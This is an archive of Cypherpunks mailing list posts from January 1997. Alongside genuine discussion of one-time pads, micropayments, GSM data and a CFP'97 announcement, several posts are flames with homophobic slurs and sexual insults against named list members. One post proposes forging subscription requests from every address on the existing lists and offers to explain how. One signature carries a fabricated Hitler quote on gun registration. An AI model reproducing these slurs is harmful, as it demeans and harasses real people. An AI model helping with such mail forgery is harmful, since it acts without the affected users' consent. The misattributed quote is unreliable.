> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > >
> > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > I say we make people fly naked and ship their stuff via UPS ;).
> > > >
> > > > > >     >>shudder<<
> > > > > >     No!. A clear case of the cure being worse than the disease...
> > > >
> > > > > Why. it might be fun - those long flight can be so boring with clothe
> > > >
> > > > This one I really don't understand.  Cypherpunks lobbied heavily for
> > > > the Final Solution to Spamming and flaming, now along comes the perfect
> > > > solution to the airport security problem, and nobody's gonna go for it.
> > > >
> > > > Guess those old, out-of-shape guys don't want anybody laughing at them.
> > > > Besides, they can put all the clothes in the same plane's baggage
> > > > compartment.  And planes have those little blankets and pillows,
> > > > so what's the problem?
> > >
> > > 	Cold temps...
> >
> > What can naked people do to keep warm???
>
> 	steal blankets from nearby passenger..

Offer nearby passengers to share the blankets.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 11:21:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Fwd: Re: Victory Party]
In-Reply-To: <32E10439.6B4A@gte.net>
Message-ID: <mqqq1D22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> aga wrote:
> > Date: Sat, 18 Jan 1997 13:34:37 GMT
> > On Sat, 18 Jan 1997, SB wrote:
> > From: J Durbin <slothrop@poisson.com>
> > > Forward on the good Dr. Vulis from ne.internet.services.
> > > Newsgroups: ne.internet.services, alt.fan.speedbump, alt.god.grubor
> > > Steve    Subject: Re: Victory Party
>
> > hannigan@shore.net (Martin Hannigan) wrote:
> > >Steve/Grubby/Vulis/Aga: You can come too. Of course.
>
> > The Cypherpunks mailing list people invited Vulis to come speak
> > at one of their CA meetings. They even offered to pay for his airfare
> > and lodging, but he was too afraid to show up.
> > What a coward, just like Boursy and Grubor.
>
> > Hey you fucker; you pay my expenses and I will come.
> > You get a one hour lecture and one hour of questions and
> > answers afterward.  Everybody gets frisked for guns at the door,
> > since we do not trust some of those cypherpunks.
>
> Picture the typical cypherpunk (especially Sandfort, who organized the
> whole thing):  Old, out of shape, ignorant, lonely, perverted, ugly,
> etc. etc.  Dr. Vulis actually brightened up their "life" for a few
> moments, then, when he didn't take the bait for the roast, they felt
> rejected, like a love spurned.  It's so transparent.

It just wasn't worth the time. I found F2F contact with the
likes of Hughes and Gilmore pretty boring and unproductive.

But if Dr. Grubor wishes to address a Cypherpunks meating,
and expose them as a bunch of homosexual censors, I think
it would be a neat idea.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 12:10:57 -0800 (PST)
To: blake@bcdev.com (Blake Coverett)
Subject: Re: One time pads and randomness?
In-Reply-To: <01BC0543.DBB9DCF0@bcdev.com>
Message-ID: <199701182006.OAA00886@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


By the way, did anyone try to run "all randomness tests" on a sequence
of digits of, say, decimal representation of "e"?

igor

Blake Coverett wrote:
> 
> > I want to use a one time pad pased crypto system. I understand that the
> > randomness of the pad genorator is key to security(other than lossing the
> > keys). What I want to know is if I use a psuedo-RNG that maybe repeats its
> > self every 1000 characters and use it to only encrypt messagase that are
> > 100's of charaters long, will this be a major security risk? 
> 
> I'm afraid you've fallen into one of the standard traps.  A PRNG can *not*
> make a OTP no matter how you use it.  
> 
> The total amount of entropy in a PRNG is the amount of entropy in the seed 
> you use to key it.  All the other bits are directly derived from that seed.
> 
> A true OTP is completely secure from an information-theory point of view
> because every byte has a full eight bits of entropy.  A PRNG can never
> have this.
> 
> Having said all this, it is possible to make a good cipher from a PRNG.
> RC4, for example, is exactly that and the variable sized key is the
> seed for the PRNG.  It is however very difficult to come up with a
> good algorithm for that cryptographically sound PRNG and you would
> be much further ahead to use an existing one rather that trying to
> roll your own.
> 
> > Say I create a 1 million character one time pad that passes all of the
> > randomness tests. It is "truely random". I place it on two computers. Now
> > when these two computers want to send email computer "A" grabs a chunk of the
> > one time pad  starting at a random point and encrypts it. It labels the email
> > with the random starting point and sends it to "B". There "B" moves to the
> > random point and begins decryption. During to process both computers mark
> > that section of the OTP used so that they don't retransmit with it. I realize
> > this has a limited amount of messages before it is used up. But would this be
> > secure? Any suggestions, complaints, big gapping holes I missed? 
> 
> I don't see anything wrong as such, but there is nothing to be gained either.
> If your random data is real OTP material there is no need to skip to a random
> byte within it, just start at the beginning and use it in sequence.  If your random
> data is the output of a PRNG like the above then random starting point doesn't
> buy you much additional security because the entire set of keying material can
> be recreated from the seed.  It may increase the work-factor of searching for
> the key, but it also imposes the practical problem of keeping all that keying
> material secure.
> 
> More importantly don't confuse statistically random with cryptographically
> random.  Just because a bunch of bits passes all the randomness test
> you can think of doesn't mean it contains 100% entropy.  Consider the
> digits of an irrational number like sqrt(2) or pi, the digits appear statistically
> random but they can be recreated from just a tiny bit of knowledge.
> 
> A good litmus test is to ask yourself if there is any way you can
> reproduce those bits.  If there is, they aren't a one time pad.
> (Of course even if you can't it doesn't mean they are good. :-)
> 
> regards,
> -Blake
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 12:41:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <3.0.32.19970118090523.006ac2fc@best.com>
Message-ID: <BHRq1D25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


i.am.not.a.number@best.com writes:

> dang!  i forgot to change.
> what's the moderated list being called?
> which is this one?  yikes --- i've been paying attention
> to somether things.

This is Sandfart's and Gilmore's trick - substitute a censored list
for the unmoderated one, and hope that no one will notice.

Also a lot "subscribers" to the original list are not real people, but local
redistribution lists, or deamons who post the traffic in local newsgroups or
archive it at various repositories. It would be a good little hack to send a
'who' to majorodomo to get the existing subscribers to cypherpunks,
coderpunks, and cryptography(@c2), and forge a separate "subscribe
cypherpunks-unedited" from each address to majordomo@toad.com. Then let the
ones who don't want duplication unsubscribe from the original list (now
moderated). If someone wants to pull thos off, but needs technical
assistance, please e-mail me offline and I'll explain how to do it.

Of course I can't subscribe to the "unedited" list because the lying
cocksucker John Gilmore (spit) instructed his Majordomo to play dead when it
sees my address.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Sat, 18 Jan 1997 16:57:14 -0800 (PST)
To: vznuri@netcom.com
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701182228.OAA00244@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


From: "Vladimir Z. Nuri" <vznuri@netcom.com>
> I predict that microcurrency will not catch on in a big way
> until it is integrated with browsers, and when it is, it
> will be adopted in an insanely large rush like the way
> the web itself caught on with the GUI (and was mostly comatose
> before it).  
> [...]
> notice how much crypto really caught on when Netscape 
> incorporated it, and how this action alone did more for
> the proliferation of crypto in cyberspace, almost, than
> all prior efforts combined. I think that microcurrency
> will be unleashed in a very similar way.

I assume you are referring to secure web connections via SSL in talking
about crypto.  In that case there was a very strong pent up demand for
the service.  Customers were afraid to send credit card numbers and
other personal information across the web.  Sellers were pressuring the
net server companies to do something to quell these concerns so on-line
selling could succeed.  Netscape did it, and in the grand tradition of
the net, implementation beat design and SSL defeated SHTTP.  In its early
versions SSL had a lot of problems but it was a good enough solution for
what it needed to be.

The question is whether there is similar market demand for pay per view
web pages.  Do web service operators think they can offer value added
services which will motivate customers to click through the for-pay link?
Maybe porn would be a good initial market.  There are so many sites
where you've got to sign up ahead of time for $20 or so for a month's
membership.  This is a considerable barrier.  But if you could just take
a peek for $.50 there would be a lot of people interested.  Porn is what
started the VCR market before it later "went respectable", so maybe the
same thing could happen here.  I know that a lot of the initial vendors
with First Virtual were selling racy pictures, although I think the
company has taken steps to reduce their association with that market.

This is not exactly the microcurrency that Vladimir is talking about
but it would be a good model for integrating some payment system with
a browser and it could serve as the foundation for other for-pay pages
with lower fees.

There is also the issue of sellers learning to use the various payment
systems which are out there.  Here again if Netscape and Microsoft would
just pick one then everyone could standardize on it, which would
increase acceptance a great deal.

Ecash as it is implemented now has the problem that the customer has to
open a special bank account.  What you need is a payment system where
you can use your existing VISA card and withdraw cash against it into
your electronic wallet.  This is pretty close to the FV model but their
payment system is somewhat clumsy.

I haven't followed the electronic payment market closely for the last
couple of years.  Are there any payment systems which look like good
candidates for integration with browsers?

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 12:43:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.LNX.3.95.970118130638.8690A-100000@ixsrs4.ix.netcom.com>
Message-ID: <51Rq1D26w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


AIDAS <aidas@ixsrs4.ix.netcom.com> writes:
>
> Um, Paul? I hate to break it to you, but they're not moderating yet. If
> they were, we wouldn't get as much slime as we do on the list.

One memorable "censorship" incident occurred when the lying cocksucker
John Gilmore (spit) forcibly unsubscribed me from this list because he
didn't like the contents of my submissions - or did you forget already?
Look up Declan's disgraceful writeup on Netly News archives.

At that time most valuable contributors to this list (such as myself)
resolved not to contribute crypto-relevant content to a censored forum.

> Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> spam, the "you're all homosexuals" postings, the posts by morons that
> can't figure out Majordomo or their mailers, and so on and so forth.

Not sure about "all", but someone whose name sounds like AIDS, and who
advocates censorship, most likely is one.

> So I ask you this: If the moderation isn't yet implemented, then how has
> it "gone down sharply since the start of the censorship [which hasn't been
> done yet]?"

The way Sandfart has gone down on Gilmore or the way Gilmore has gone
down on Inman? Or the way "copyright violations" (formerly known as
"news spam") will not be sent to a censored forum?

> <sarcasm> I just can't wait to see what kind of witty comment Dimitri will
> have on the first and second paragraphs of my response. </sarcasm>

You're not worth a witty comment, 'punk.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 18 Jan 1997 14:44:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: GSM technology
Message-ID: <v02140b02af06ecc8961a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


GSM DATA FEATURES
GSM is particularly suited for mobile data communications.  All GSM base
systems support 9.6kbit/s circuit-switched data services, soon many will
increase transmission speed up to 28.8kbit/s. A new part of the GSM
standard, known as High Speed Circuit Switched Data (HSCSD), is being
developed which will boost user capacity up to 64 kbit/s, and higher.
        Interconnecting this 64 kbit/s wireless capability with public ISDN
networks, for example, will give mobile users complete end-to-end digital
connectivity with the attendant benefits of very fast set-up times and high
link quality.
        Technically, HSCSD requires a new radio link protocol; a
modification of the existing protocol used to provide the GSM voice
channel. GSM uses TDMA (Time Division Multiple Access) technology, which
divides each 200 kHz carrier into eight timeslots. To provide a single
voice channel, one timeslot is used; one timeslot is also used to provide a
single 9.6 kbit/s data circuit. However, all eight slots will be used to
provide one 64 kbit/s circuit.
     The main benefit of this approach is that it is designed for the
existing GSM infra-structure. There is no need for operators to change
their entire network infrastructure in order to implement it. Operators
will therefore be able to implement HSCSD in a quick and efficient way,
once the specification has been ratified.

ENCRYPTED GSM LINKS
If the GSM phone includes a data port, as some already do, just connect
your laptop, dial your ISP and 'push' the encrypted traffic over that link
(e.g., using TCP/IP and PGPfone).

REFERENCES
If you really want to dive headfirst into GSM, the following is a resource
list generated in 1994:

@article(rahn,
  author = {Rahnema, Moe},
  title = "Overview of the {GSM} System and Protocol Architecture",
  journal = {IEEE Communications Magazine},
  month = {April},
  year = 1993)

@incollection(chee,
  author = {Cheeseman, David},
  title =  "The pan-{European} cellular mobile radio system",
  booktitle = {Personal and Mobile Radio Systems},
  editor = {R.C.V. Macario},
  publisher =  {Peter Peregrinus},
  address = {London},
  year = 1991)

@incollection(bals1,
  author = {Balston, David M.},
  title = "The pan-{European} cellular technology",
  booktitle = {Personal and Mobile Radio Systems},
  editor = {R.C.V. Macario},
  publisher =  {Peter Peregrinus},
  address = {London},
  year = 1991)

@article(moha,
  author = {Mohan, Seshadri and Jain, Ravi},
  title = "Two User Location Strategies for Personal Communication Services",
  journal = {IEEE Personal Communications},
  volume = 1,
  number = 1,
  year = 1994)

@inproceedings(haug,
  author = {Haug, Thomas},
  title = "Overview of the {GSM} Project",
  booktitle = {EUROCON 88},
  month = {June},
  year = 1988)

@inproceedings(mall,
  author = {Mallinder, Bernard J. T.},
  title = "Specification Methodology Applied to the {GSM} System",
  booktitle = {EUROCON 88},
  month = {June},
  year = 1988)

@inproceedings(aude,
  author = {Audestad, Jan A.},
  title = "Network Aspects of the {GSM} System",
  booktitle = {EUROCON 88},
  month = {June},
  year = 1988)

@incollection(bals2,
  author = {Balston, D. M.},
  title = "The pan-{European} System: {GSM}",
  booktitle = {Cellular Radio Systems},
  editor = {Balston, D. M. and Macario, R.C.V.},
  publisher = {Artech House},
  address = {Boston},
  year = 1993)

@incollection(wats,
  author = {Watson, C.},
  title = "Radio Equipment for {GSM}",
  booktitle = {Cellular Radio Systems},
  editor = {Balston, D. M. and Macario, R.C.V.},
  publisher = {Artech House},
  address = {Boston},
  year = 1993)

@incollection(harr1,
  author = {Harris, I.},
  title = "Data in the {GSM} Cellular Network",
  booktitle = {Cellular Radio Systems},
  editor = {Balston, D. M. and Macario, R.C.V.},
  publisher = {Artech House},
  address = {Boston},
  year = 1993)

@incollection(harr2,
  author = {Harris, I.},
  title = "Facsimile over Cellular Radio",
  booktitle = {Cellular Radio Systems},
  editor = {Balston, D. M. and Macario, R.C.V.},
  publisher = {Artech House},
  address = {Boston},
  year = 1993)

@article(dech,
  author = {D\'echaux, C. and  Scheller, R.},
  title = "What are {GSM} and {DCS}",
  journal = {Electrical Communication},
  month = {2nd Quarter},
  year = 1993)

@article(feld,
  author = {Feldmann, M. and Rissen, J. P.},
  title = "{GSM} Network Systems and Overall System Integration",
  journal = {Electrical Communication},
  month = {2nd Quarter},
  year = 1993)

@article(bezl,
  author = {Bezler, M. and others},
  title = "{GSM} Base Station System",
  journal = {Electrical Communication},
  month = {2nd Quarter},
  year = 1993)

@article(schm,
  author = {Schmid, E. H. and K\"ahler, M.},
  title = "{GSM} Operation and Maintenance",
  journal = {Electrical Communication},
  month = {2nd Quarter},
  year = 1993)

@article(lobe,
  author = {Lobensommer, Hans and Mahner, Helmut},
  title = "{GSM} -- a {European} Mobile Radio Standard for the
           World Market",
  journal = {Telcom Report International},
  volume = 15,
  number = {3-4},
  year = 1992)

@article(hube,
  author = {Huber, Josef--Franz},
  title = "Advanced Equipment for an Advanced Network",
  journal = {Telcom Report International},
  volume = 15,
  number = {3-4},
  year = 1992)

@book(winc,
  author = {Winch, Robert G.},
  title = "Telecommunication Transmission Systems",
  publisher = {McGraw-Hill},
  address = {New York},
  year = 1993)

@inproceedings(natv,
  author = {Natvig, Jon E. and Hansen, Stein and de Brito, Jorge},
  title = "Speech Processing in the pan-{European} Digital Mobile Radio
           System ({GSM}) --- System Overview",
  booktitle = {IEEE GLOBECOM 1989},
  month = {November},
  year = 1989)

@inproceedings(vary,
  author = {Vary, P. and others},
  title = "Speech Codec for the {European} Mobile Radio System",
  booktitle = {IEEE GLOBECOM 1989},
  month = {November},
  year = 1989)

@inproceedings(sout,
  author = {Southcott, C. B. and others},
  title = "Voice Control of the pan-{European} Digital Mobile Radio System",
  booktitle = {IEEE GLOBECOM 1989},
  month = {November},
  year = 1989)

@unpublished(nils,
  author = {Nilsson, Torbjorn},
  title = "Toward a New Era in Mobile Communications",
  note = {http://193.78.100.33/ (Ericsson WWW server)})



PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet, electronic currency and wireless development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 12:58:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Enough is Never Enough -- pro-CDA alliances, from TNNN
In-Reply-To: <199701180608.AAA17196@nic.stolaf.edu>
Message-ID: <32E15626.78C6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sir Robin of Locksley wrote:
 
 >  >       Donna Rice-Hughes from Enough is Enough says: "It discusses
three
 >  >   primary areas of our concern: letting the court know the
problems on
 >  >   the Internet. Adult pornography, indecency, and child porn as
well.
 
 >  Now it's porn, tomorrow it's you saying what
 > you beleive (that might also be the truth...)
 > If one is offended by something, don't look! How come Catholicism
doesn't get
 > banned and outlawed? Hell, it offends me...
 
   I'm afraid that you are in the minority in your beliefs, at least
 here on the CypherPunks list.
   Most CypherPunks believe that we need a higher authority to protect
 us from things that we don't want to see.  Most CypherPunks see that
 Beneviolent Moderation is a good thing, as was made plain from the
 discussions on the list in this regard, so I assume that they would
 not be so hypocritical as to oppose the attempts of others to bring
 the blessing of Beneviolent Moderation to everyone on the InterNet.
   I expect the majority of CypherPunks will be more than willing to
 throw their support behind efforts to remove pornography from the
 whole InterNet, just as they were eager to remove posts containing
 'bad words' from this list.
 
   Of course, you must realize that I don't pretend to speak for
 all CypherPunks subscribers--only for the upright, decent ones,
 who, like Donna Rice-Hughes, want to live in a safe, filtered
 world, free from the intrusion of wrong-thinkers.
  Some of the CypherPunk subscribers seem to favor taking personal
responsibility for what they chose to read or not read, but they
are just a small, troublesome minority on the list.

  Donna Rice-Hughes and her crowd are merely late-comers on the
moderation scene, trying to emulate the 'good' CypherPunks who
finally stood up and said, "Enough is enough."
 
 Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 18 Jan 1997 15:04:02 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
In-Reply-To: <199701182105.NAA13618@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970118145332.29052B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Vladimir Z. Nuri wrote:

> it seems that microcurrency has still not hit the "big time"
> yet. or perhaps some people see otherwise. what is the evidence
> for how far it has penetrated ala DigiCash etc? I haven't seen
> much myself.
> 
> I predict that microcurrency will not catch on in a big way
> until it is integrated with browsers, and when it is, it
> will be adopted in an insanely large rush like the way
> the web itself caught on with the GUI (and was mostly comatose
> before it).  

It will also not catch on until there are better standards involving
microcurrency transactions amongst the vendors.  It would also help if
there was a single interface (or "helper app") for whatever vendor you
decided to go with.

Currently every vendor of payment schemes has made it proprietary in some
way.  (At least the ones I have seen.)  This means that if the user visits
three different web pages, each using a payment scheme from a different
vendor, that user has to be signed up with all of those vendors.  (Or at
least have their helper apps.)

I will not even go into the hastles of trying to set it up from the server
side.  (The last payment scheme I installed (cybercash) was not very well
documented.  The documentation on the web site contradicted the software
with the tar file.  (And both were wrong at some point.))  Until these
payment schemes are easier to deal with for the web page provider, they
will not catch on.  (There will also need to be more support for Internet
service providers with multiple vendors all on different payment schemes.)

Until there is a single standard hammered out, micropayments will still be
few and far between.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 16:58:18 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <4Lmq1D13w165w@bwalk.dm.com>
Message-ID: <32E16634.3BC6@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Someone wrote to me:
> >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
> >write what the fuck they like but straight or intelligent or NORMAL
> >people will have to be filtered.

> Yes, that's precisely how Sandfart's moderation will work. Homosexuals
> like Jason Durbin will continue to post personal attacks on Gilmore's
> many "enemies", but the victims of the libel will not be able to respond
> and refute their lies. The concept of "the best response to speech you
> don't like is more speech" is totally alien to the homosexual subculture
> on the Internet. These control freaks are into censorship and B&D.

Here's a problem.  I don't have "technical" capabilities in the area of
communications software, and I have too full a plate to start studying
now.  But, I/we need to monitor the "moderator", to make sure he doesn't
allow people to attack others, then cut the responses.

If he does this, and he doesn't rectify it when it's called to his
attention, he would need to be punished in some way.  One of the
questions I have is, how do I know what's cut when all I subscribe to
is the uncensored list?  I do *not* want to subscribe to the filtered
list plus the "flames" list, out of principle.  Is this something that
would be forced on me/us in order to monitor the censorship?

In other words, can I separate the censored email without having to
have two accounts?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 18 Jan 1997 13:26:23 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: [Fwd: Re: Victory Party]
In-Reply-To: <mqqq1D22w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970118162234.32723D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Dale Thorn <dthorn@gte.net> writes:
> 
> > aga wrote:
> > > Date: Sat, 18 Jan 1997 13:34:37 GMT
> > > On Sat, 18 Jan 1997, SB wrote:
> > > From: J Durbin <slothrop@poisson.com>
> > > > Forward on the good Dr. Vulis from ne.internet.services.
> > > > Newsgroups: ne.internet.services, alt.fan.speedbump, alt.god.grubor
> > > > Steve    Subject: Re: Victory Party
> >
> > > hannigan@shore.net (Martin Hannigan) wrote:
> > > >Steve/Grubby/Vulis/Aga: You can come too. Of course.
> >
> > > The Cypherpunks mailing list people invited Vulis to come speak
> > > at one of their CA meetings. They even offered to pay for his airfare
> > > and lodging, but he was too afraid to show up.
> > > What a coward, just like Boursy and Grubor.
> >
> > > Hey you fucker; you pay my expenses and I will come.
> > > You get a one hour lecture and one hour of questions and
> > > answers afterward.  Everybody gets frisked for guns at the door,
> > > since we do not trust some of those cypherpunks.
> >
> > Picture the typical cypherpunk (especially Sandfort, who organized the
> > whole thing):  Old, out of shape, ignorant, lonely, perverted, ugly,
> > etc. etc.  Dr. Vulis actually brightened up their "life" for a few
> > moments, then, when he didn't take the bait for the roast, they felt
> > rejected, like a love spurned.  It's so transparent.
> 
> It just wasn't worth the time. I found F2F contact with the
> likes of Hughes and Gilmore pretty boring and unproductive.
> 
> But if Dr. Grubor wishes to address a Cypherpunks meating,
> and expose them as a bunch of homosexual censors, I think
> it would be a neat idea.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

They have to pay the transportation for my two assistants also, and
one is a big black man so no racial shit.  The discussion is limited
strictly usenet cypherpunks/fags.

And you keep your hands off of my men, too.  You queers do not get
any hunks to go with this Lecture.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 18 Jan 1997 16:40:30 -0800 (PST)
To: i.am.not.a.number@best.com
Subject: Re: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <3.0.32.19970118090523.006ac2fc@best.com>
Message-ID: <Pine.SUN.3.91.970118163026.4256B-100000@crl2.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997 i.am.not.a.number@best.com wrote:

> dang!  i forgot to change.
> what's the moderated list being called?

Cypherpunks.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 18 Jan 1997 16:42:13 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: RE: Newt's phone calls
In-Reply-To: <PHkq1D6w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970118163429.4256C-100000@crl2.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> In practice, a debit card must be tied to a bank account with a valid SS#.
> You try something suspicious and the IRS will debit the account $500 and/or
> freeze it.

Not if it's a foreign bank account.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 14:11:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: your mail
In-Reply-To: <199701181810.MAA10982@manifold.algebra.com>
Message-ID: <12Xq1D35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> Here's a shell script that i wrote to help people like Prof. OBrien.

Igor writes shell scripts.  Igor likes girls.  Igor knows (some) crypto.

Therefore Igor is not a "cypher punk".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 16:58:27 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <B9Jq1D4w165w@bwalk.dm.com>
Message-ID: <32E17060.542C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > I say we make people fly naked and ship their stuff via UPS ;).

> I once saw a movie where they had a heroin (or cocaine?) processing lab
> and everybody was supposed to work naked so it would be hard to steal
> some of the product. Of course in the movie all the employees were good-
> looking women (Oksas would have been the big star!).

When you have the resources to run a coke lab, your employees *can*
be all good-looking women [hee hee].  So, to avoid the ugly-naked
passenger syndrome, stick mainly to business flights in certain areas,
or flights to exclusive resorts, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Koball <cfpinfo@well.com>
Date: Sat, 18 Jan 1997 16:59:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: CFP'97
Message-ID: <199701190058.QAA07803@well.com>
MIME-Version: 1.0
Content-Type: text/plain


 The Seventh Conference on Computers, Freedom, and Privacy
                    March 11-14, 1997
San Francisco Airport Hyatt Regency; Burlingame, California

              CFP'97 : Commerce & Community

CFP'97 will assemble experts, advocates, and interested people
from a broad spectrum of disciplines and backgrounds in a balanced
public forum to address the impact of new technologies on society. 
This year's theme addresses two of the main drivers of social and
technological transformation.  How is private enterprise changing
cyberspace?  How are traditional and virtual communities reacting? 
Topics in the wide-ranging main track program will include:

        PERSPECTIVES ON CONTROVERSIAL SPEECH
        THE COMMERCIAL DEVELOPMENT OF THE NET
        GOVERNMENTAL & SOCIAL IMPLICATIONS OF DIGITAL MONEY
        INTERNATIONAL PERSPECTIVES ON CRYPTOGRAPHY
        CYPHERPUNKS & CYBERCOPS
        REGULATION OF ISPs
        SPAMMING
        INFOWAR
        INTELLECTUAL PROPERTY AND INFO-PROPERTY
        THE 1996 ELECTIONS:  CREATING A NEW DEMOCRACY
        THE COMING COLLAPSE OF THE NET

CFP'97 will feature parallel-track lunchtime workshops during the
main conference on topics including:

THE CASE AGAINST PRIVACY           HOW A SKIPTRACER OPERATES
CYBERBANKING                       HOW THE ARCHITECTURE REGULATES
